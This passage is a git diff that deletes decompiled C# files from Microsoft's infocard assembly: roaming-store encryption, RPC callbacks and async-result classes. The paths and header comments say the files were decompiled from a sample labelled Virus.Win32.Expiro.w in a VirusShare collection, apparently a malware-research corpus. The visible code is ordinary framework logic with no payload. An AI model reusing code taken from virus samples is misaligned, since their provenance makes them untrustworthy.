InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (!reader.IsStartElement("EncryptedData", "http://www.w3.org/2001/04/xmlenc#")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (!reader.ReadToDescendant("CipherData", "http://www.w3.org/2001/04/xmlenc#")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (!reader.ReadToDescendant("CipherValue", "http://www.w3.org/2001/04/xmlenc#")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - using (MemoryStream source = new MemoryStream(4096)) - { - byte[] buffer = new byte[1024]; - int count; - while ((count = reader.ReadElementContentAsBase64(buffer, 0, buffer.Length)) > 0) - source.Write(buffer, 0, count); - source.Flush(); - source.Seek(0L, SeekOrigin.Begin); - using (MemoryStream destination = new MemoryStream(RoamingStoreFileUtility.CalculateDecryptedSize(Convert.ToInt32(source.Length)))) - { - RoamingStoreFileUtility.Decrypt((Stream) source, (Stream) destination, password, numArray); - destination.Flush(); - destination.Seek(0L, SeekOrigin.Begin); - using (XmlReader reader1 = InfoCardSchemas.CreateReader((Stream) destination, reader.Settings)) - { - reader1.Read(); - if (!reader1.IsStartElement("RoamingStore", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (reader1.ReadToDescendant("RoamingInformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - do - { - InfoCard infoCard = new InfoCard(); - infoCard.ReadXml(reader1); - this.m_infocards.Add(infoCard); - reader1.ReadEndElement(); - } - while (reader1.IsStartElement("RoamingInformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity")); - } - reader1.ReadEndElement(); - } - } - } - reader.ReadEndElement(); - if (reader.IsStartElement("EncryptionProperties", "http://www.w3.org/2001/04/xmlenc#")) - reader.Skip(); - reader.ReadEndElement(); - reader.ReadEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RoamingStoreFileUtility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RoamingStoreFileUtility.cs deleted file mode 100644 index dc787815..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RoamingStoreFileUtility.cs +++ /dev/null @@ -1,289 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RoamingStoreFileUtility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal sealed class RoamingStoreFileUtility - { - private const int ENCRYPTIONKEYBUFFERSIZE = 32; - private const int ENCRYPTIONKEYBITLENGTH = 256; - private const int ENCRYPTIONIVBUFFERSIZE = 16; - private const int ENCRYPTIONIVBITLENGTH = 128; - private const int ITERATIONCOUNT = 1000; - private const int SHA256_BUFFERSIZE = 32; - private static readonly byte[] DerivedKeySignatureEntropy = new byte[16] - { - (byte) 196, - (byte) 1, - (byte) 123, - (byte) 241, - (byte) 107, - (byte) 173, - (byte) 47, - (byte) 66, - (byte) 175, - (byte) 244, - (byte) 151, - (byte) 125, - (byte) 4, - (byte) 104, - (byte) 3, - (byte) 219 - }; - private static readonly byte[] DerivedKeyEncryptionEntropy = new byte[16] - { - (byte) 217, - (byte) 89, - (byte) 123, - (byte) 38, - (byte) 30, - (byte) 216, - (byte) 179, - (byte) 68, - (byte) 147, - (byte) 35, - (byte) 179, - (byte) 150, - (byte) 133, - (byte) 222, - (byte) 149, - (byte) 252 - }; - - public static int SaltLength => 16; - - private RoamingStoreFileUtility() - { - } - - public static int CalculateEncryptedSize(int decryptedLength) - { - int num = decryptedLength; - return num + (16 - num % 16) + 48; - } - - public static int CalculateDecryptedSize(int encryptedLength) => encryptedLength - 48; - - public static void Decrypt( - Stream source, - Stream destination, - string passwordString, - byte[] salt) - { - byte[] bytes = Encoding.Unicode.GetBytes(passwordString); - byte[] encryptionKey; - byte[] signatureKey; - try - { - RoamingStoreFileUtility.CreateKeyPair(bytes, salt, out encryptionKey, out signatureKey); - } - finally - { - Array.Clear((Array) bytes, 0, bytes.Length); - } - try - { - byte[] numArray1 = new byte[16]; - if (numArray1.Length != source.Read(numArray1, 0, numArray1.Length)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) - { - rijndaelManaged.Padding = PaddingMode.PKCS7; - rijndaelManaged.Mode = CipherMode.CBC; - rijndaelManaged.BlockSize = numArray1.Length * 8; - rijndaelManaged.KeySize = encryptionKey.Length * 8; - using (RijndaelManagedTransform decryptor = (RijndaelManagedTransform) rijndaelManaged.CreateDecryptor(encryptionKey, numArray1)) - { - using (SHA256Managed shA256Managed = new SHA256Managed()) - { - byte[] numArray2 = new byte[decryptor.InputBlockSize]; - byte[] numArray3 = new byte[decryptor.OutputBlockSize]; - byte[] numArray4 = new byte[shA256Managed.HashSize / 8]; - using (MemoryStream inputStream = new MemoryStream(new byte[numArray1.Length + encryptionKey.Length + decryptor.OutputBlockSize])) - { - if (numArray4.Length != source.Read(numArray4, 0, numArray4.Length)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - inputStream.Write(numArray1, 0, numArray1.Length); - inputStream.Write(signatureKey, 0, signatureKey.Length); - while (source.Position < source.Length - (long) numArray2.Length) - { - try - { - int inputCount = source.Read(numArray2, 0, numArray2.Length); - int count = decryptor.TransformBlock(numArray2, 0, inputCount, numArray3, 0); - if (count > 0) - destination.Write(numArray3, 0, count); - } - finally - { - Array.Clear((Array) numArray3, 0, numArray3.Length); - Array.Clear((Array) numArray2, 0, numArray2.Length); - } - } - int inputCount1 = source.Read(numArray2, 0, numArray2.Length); - byte[] buffer = decryptor.TransformFinalBlock(numArray2, 0, inputCount1); - destination.Write(buffer, 0, buffer.Length); - inputStream.Write(buffer, buffer.Length - decryptor.OutputBlockSize, decryptor.OutputBlockSize); - inputStream.Flush(); - inputStream.Seek(0L, SeekOrigin.Begin); - if (!RoamingStoreFileUtility.CompareSignature(shA256Managed.ComputeHash((Stream) inputStream), numArray4)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - } - } - } - } - } - finally - { - Array.Clear((Array) encryptionKey, 0, encryptionKey.Length); - Array.Clear((Array) signatureKey, 0, signatureKey.Length); - } - } - - public static void Encrypt( - Stream source, - Stream destination, - string passwordString, - out byte[] salt) - { - RandomNumberGenerator randomNumberGenerator = (RandomNumberGenerator) new RNGCryptoServiceProvider(); - salt = new byte[16]; - randomNumberGenerator.GetBytes(salt); - byte[] bytes = Encoding.Unicode.GetBytes(passwordString); - byte[] encryptionKey; - byte[] signatureKey; - try - { - RoamingStoreFileUtility.CreateKeyPair(bytes, salt, out encryptionKey, out signatureKey); - } - finally - { - Array.Clear((Array) bytes, 0, bytes.Length); - } - try - { - byte[] numArray1 = new byte[16]; - randomNumberGenerator.GetBytes(numArray1); - using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) - { - rijndaelManaged.Padding = PaddingMode.PKCS7; - rijndaelManaged.Mode = CipherMode.CBC; - rijndaelManaged.BlockSize = numArray1.Length * 8; - rijndaelManaged.KeySize = encryptionKey.Length * 8; - using (RijndaelManagedTransform encryptor = (RijndaelManagedTransform) rijndaelManaged.CreateEncryptor(encryptionKey, numArray1)) - { - using (SHA256Managed shA256Managed = new SHA256Managed()) - { - byte[] numArray2 = new byte[encryptor.InputBlockSize]; - byte[] buffer1 = (byte[]) null; - byte[] numArray3 = new byte[encryptor.OutputBlockSize]; - byte[] numArray4 = new byte[numArray1.Length + shA256Managed.HashSize / 8]; - using (MemoryStream inputStream = new MemoryStream(new byte[numArray1.Length + signatureKey.Length + encryptor.InputBlockSize])) - { - inputStream.Write(numArray1, 0, numArray1.Length); - inputStream.Write(signatureKey, 0, signatureKey.Length); - try - { - destination.Write(numArray4, 0, numArray4.Length); - int num = 0; - while (source.Position < source.Length - (long) numArray2.Length) - { - num = source.Read(numArray2, 0, numArray2.Length); - try - { - int count = encryptor.TransformBlock(numArray2, 0, numArray2.Length, numArray3, 0); - destination.Write(numArray3, 0, count); - } - finally - { - Array.Clear((Array) numArray2, 0, numArray2.Length); - Array.Clear((Array) numArray3, 0, numArray3.Length); - } - } - int inputCount = source.Read(numArray2, 0, numArray2.Length); - if (inputCount != numArray2.Length) - { - byte[] buffer2 = new byte[numArray2.Length]; - source.Seek(source.Length - (long) numArray2.Length, SeekOrigin.Begin); - InfoCardTrace.Assert(source.Read(buffer2, 0, buffer2.Length) == buffer2.Length && buffer2.Length == numArray2.Length, "Should have read exactly 0x20 bytes"); - inputStream.Write(buffer2, 0, buffer2.Length); - } - else - inputStream.Write(numArray2, 0, numArray2.Length); - buffer1 = encryptor.TransformFinalBlock(numArray2, 0, inputCount); - destination.Write(buffer1, 0, buffer1.Length); - destination.Flush(); - inputStream.Flush(); - inputStream.Seek(0L, SeekOrigin.Begin); - byte[] hash = shA256Managed.ComputeHash((Stream) inputStream); - Array.Copy((Array) numArray1, 0, (Array) numArray4, 0, numArray1.Length); - Array.Copy((Array) hash, 0, (Array) numArray4, numArray1.Length, hash.Length); - destination.Seek(0L, SeekOrigin.Begin); - destination.Write(numArray4, 0, numArray4.Length); - destination.Flush(); - destination.Seek(0L, SeekOrigin.End); - } - finally - { - Array.Clear((Array) numArray2, 0, numArray2.Length); - Array.Clear((Array) numArray3, 0, numArray3.Length); - Array.Clear((Array) numArray4, 0, numArray4.Length); - if (buffer1 != null) - Array.Clear((Array) buffer1, 0, buffer1.Length); - } - } - } - } - } - } - finally - { - Array.Clear((Array) encryptionKey, 0, encryptionKey.Length); - Array.Clear((Array) signatureKey, 0, signatureKey.Length); - } - } - - private static void CreateKeyPair( - byte[] password, - byte[] salt, - out byte[] encryptionKey, - out byte[] signatureKey) - { - byte[] sourceArray = RoamingStoreFileUtility.DoPkcs5(password, salt); - using (SHA256Managed shA256Managed = new SHA256Managed()) - { - byte[] numArray1 = new byte[32 + RoamingStoreFileUtility.DerivedKeyEncryptionEntropy.Length]; - byte[] numArray2 = new byte[32 + RoamingStoreFileUtility.DerivedKeySignatureEntropy.Length]; - Array.Copy((Array) RoamingStoreFileUtility.DerivedKeyEncryptionEntropy, 0, (Array) numArray1, 0, RoamingStoreFileUtility.DerivedKeyEncryptionEntropy.Length); - Array.Copy((Array) RoamingStoreFileUtility.DerivedKeySignatureEntropy, 0, (Array) numArray2, 0, RoamingStoreFileUtility.DerivedKeySignatureEntropy.Length); - Array.Copy((Array) sourceArray, 0, (Array) numArray1, RoamingStoreFileUtility.DerivedKeyEncryptionEntropy.Length, 32); - Array.Copy((Array) sourceArray, 0, (Array) numArray2, RoamingStoreFileUtility.DerivedKeySignatureEntropy.Length, 32); - encryptionKey = shA256Managed.ComputeHash(numArray1); - signatureKey = shA256Managed.ComputeHash(numArray2); - } - } - - private static byte[] DoPkcs5(byte[] password, byte[] salt) => new PasswordDeriveBytes(password, salt, "SHA256", 1000).GetBytes(32); - - internal static bool CompareSignature(byte[] input, byte[] expected) - { - if (input.Length == 0 || input.Length != expected.Length) - return false; - for (int index = 0; index < input.Length; ++index) - { - if ((int) expected[index] != (int) input[index]) - return false; - } - return true; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcAllocMemCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcAllocMemCallback.cs deleted file mode 100644 index 56a2807e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcAllocMemCallback.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcAllocMemCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate IntPtr RpcAllocMemCallback([In] IntPtr size); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcAsyncResult.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcAsyncResult.cs deleted file mode 100644 index 9d765e31..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcAsyncResult.cs +++ /dev/null @@ -1,167 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcAsyncResult -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32.SafeHandles; -using System; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal class RpcAsyncResult : IAsyncResult, IDisposable - { - private static RpcAsyncResult.RpcAsyncHandleDictionary s_handles = new RpcAsyncResult.RpcAsyncHandleDictionary(); - private static object s_syncRoot = new object(); - private ClientRequest m_request; - private ManualResetEvent m_externEvent; - private bool m_isCompleted; - private bool m_isCanceled; - private bool m_isResultPickedUp; - private bool m_isDisposed; - private object m_result; - private string m_opType; - private ManualResetEvent m_event; - private int m_handle; - private object m_syncRoot; - private Exception m_exception; - private RpcAsyncResult.AsyncCancelCallback m_cancelCallback; - - public RpcAsyncResult(ClientRequest request, string opType, SafeWaitHandle externEvent) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == request, nameof (request)); - this.m_syncRoot = new object(); - this.m_request = request; - this.m_opType = opType; - if (externEvent != null) - { - this.m_externEvent = new ManualResetEvent(false); - this.m_externEvent.SafeWaitHandle = externEvent; - } - this.m_event = new ManualResetEvent(false); - lock (RpcAsyncResult.s_syncRoot) - { - int newHandle; - try - { - newHandle = RpcAsyncResult.s_handles.GetNewHandle(); - } - catch (IndexOutOfRangeException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("ServiceTooManyAsyncOperations", (object) RpcAsyncResult.s_handles.MaxSize), (Exception) ex)); - } - this.m_handle = newHandle; - RpcAsyncResult.s_handles[this.m_handle] = this; - } - this.m_request.AddAsyncOp(this); - } - - public RpcAsyncResult.AsyncCancelCallback CancelCallback - { - get => this.m_cancelCallback; - set => this.m_cancelCallback = value; - } - - public WaitHandle AsyncWaitHandle => (WaitHandle) this.m_event; - - public bool CompletedSynchronously => false; - - public object AsyncState => (object) null; - - public object Result - { - get => this.m_result; - set => this.m_result = value; - } - - public bool IsCompleted => this.m_isCompleted; - - public bool IsCanceled => this.m_isCanceled; - - public int Handle => this.m_handle; - - public Exception Exception - { - get => this.m_exception; - set => this.m_exception = value; - } - - public void Complete() - { - lock (this.m_syncRoot) - { - if (this.m_isCompleted) - return; - this.m_isCompleted = true; - if (!this.m_isCanceled) - this.AlertWaiters(); - this.MaybeDispose(); - } - } - - public void Cancel() - { - lock (this.m_syncRoot) - this.InternalCancel(); - } - - private void InternalCancel() - { - if (this.m_isCanceled || this.m_isCompleted) - return; - if (this.CancelCallback != null) - this.CancelCallback(); - this.m_isCanceled = true; - this.AlertWaiters(); - } - - private void AlertWaiters() - { - this.m_event.Set(); - if (this.m_externEvent == null) - return; - this.m_externEvent.Set(); - } - - private void MaybeDispose() - { - if (!this.m_isCompleted || !this.m_isResultPickedUp) - return; - this.DisposeInternal(); - } - - public void Dispose() - { - if (this.m_isResultPickedUp) - return; - lock (this.m_syncRoot) - { - this.InternalCancel(); - this.m_isResultPickedUp = true; - this.MaybeDispose(); - } - } - - private void DisposeInternal() - { - if (this.m_isDisposed) - return; - this.m_isDisposed = true; - this.m_request.RemoveAsyncOp(this.Handle); - this.m_request = (ClientRequest) null; - if (this.m_externEvent != null) - this.m_externEvent.Close(); - this.m_event.Close(); - lock (RpcAsyncResult.s_syncRoot) - RpcAsyncResult.s_handles.Remove(this.Handle); - } - - public delegate void AsyncCancelCallback(); - - private class RpcAsyncHandleDictionary : HandleDictionary - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcAuthorizeCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcAuthorizeCallback.cs deleted file mode 100644 index fc531196..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcAuthorizeCallback.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcAuthorizeCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate uint RpcAuthorizeCallback([In] IntPtr rpcIfHandle, [In] IntPtr Context); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcCallbacks.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcCallbacks.cs deleted file mode 100644 index ce0cd23f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcCallbacks.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcCallbacks -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal struct RpcCallbacks - { - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcAuthorizeCallback uiAgentRequestAuthorize; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcUIAgentBindToServiceCallback uiAgentRequestBindToService; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcAuthorizeCallback clientRequestAuthorize; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcClientBindToServiceCallback clientRequestBindToService; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcProcessNewRequestCallback requestFactoryProcessNewRequest; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcAllocMemCallback allocMem; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcFreeMemCallback freeMem; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcRundownClientContextHandle rundownClientContext; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcClientBindToServiceCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcClientBindToServiceCallback.cs deleted file mode 100644 index 018c6e5a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcClientBindToServiceCallback.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcClientBindToServiceCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate int RpcClientBindToServiceCallback([In] IntPtr rpcHandle, out IntPtr context); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcCryptoContext.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcCryptoContext.cs deleted file mode 100644 index def381f1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcCryptoContext.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcCryptoContext -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; - -namespace Microsoft.InfoCards -{ - internal class RpcCryptoContext : IDisposable - { - private string m_portName; - private string m_contextKey; - private IntPtr m_idlHandle; - private object m_syncRoot; - private bool m_open; - private bool m_disposed; - - public RpcCryptoContext(string portName, string contextKey) - { - this.m_portName = portName; - this.m_contextKey = contextKey; - this.m_syncRoot = new object(); - this.m_disposed = false; - } - - ~RpcCryptoContext() - { - if (this.m_disposed) - return; - ((IDisposable) this).Dispose(); - } - - public string ContextKey => this.m_contextKey; - - public IntPtr InterfaceHandle => this.m_idlHandle; - - public bool IsOpen => this.m_open; - - public void Open() - { - this.ThrowIfDisposed(); - if (this.m_open) - return; - try - { - this.m_idlHandle = NativeMcppMethods.RpcCryptoOpen(this.m_portName); - } - catch (Win32Exception ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException((string) null, (Exception) ex)); - } - this.m_open = true; - } - - public void Close() - { - if (!this.m_open) - return; - try - { - NativeMcppMethods.RpcCryptoClose(this.m_idlHandle, this.m_contextKey); - } - catch (Win32Exception ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException((string) null, (Exception) ex)); - } - this.m_idlHandle = IntPtr.Zero; - this.m_open = false; - } - - void IDisposable.Dispose() - { - if (this.m_disposed) - return; - lock (this.m_syncRoot) - { - if (this.m_disposed) - return; - this.m_disposed = true; - try - { - this.Close(); - } - catch (CommunicationException ex) - { - string message = ex.Message; - } - this.m_portName = (string) null; - this.m_contextKey = (string) null; - this.m_idlHandle = IntPtr.Zero; - GC.SuppressFinalize((object) this); - } - } - - private void ThrowIfDisposed() - { - if (this.m_disposed) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (RpcCryptoContext))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcCryptoRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcCryptoRequest.cs deleted file mode 100644 index aafd829f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcCryptoRequest.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcCryptoRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal abstract class RpcCryptoRequest - { - private RpcCryptoContext m_context; - - protected RpcCryptoRequest(RpcCryptoContext context) => this.m_context = context; - - public abstract string Name { get; } - - public void Process() - { - MemoryStream memoryStream = new MemoryStream(); - this.MarshalOutArgs((Stream) memoryStream); - byte[] buffer1 = memoryStream.GetBuffer(); - byte[] buffer2; - try - { - buffer2 = NativeMcppMethods.RpcCryptoDispatchRequest(this.m_context.InterfaceHandle, this.m_context.ContextKey, this.Name, buffer1, 0, Convert.ToInt32(memoryStream.Length)); - } - catch (Win32Exception ex) - { - if (ex.NativeErrorCode == -2146434962) - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException((string) null, (Exception) ex)); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException((string) null, (Exception) ex)); - } - this.MarshalReturnArgs((Stream) new MemoryStream(buffer2)); - } - - protected abstract void MarshalOutArgs(Stream stream); - - protected abstract void MarshalReturnArgs(Stream stream); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcFreeMemCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcFreeMemCallback.cs deleted file mode 100644 index c2d05752..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcFreeMemCallback.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcFreeMemCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate void RpcFreeMemCallback([In] IntPtr ptr); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcProcessNewRequestCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcProcessNewRequestCallback.cs deleted file mode 100644 index 55a8bcaa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RpcProcessNewRequestCallback.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcProcessNewRequestCallback -// Assembly: infocard, Version=3.0.0.0, 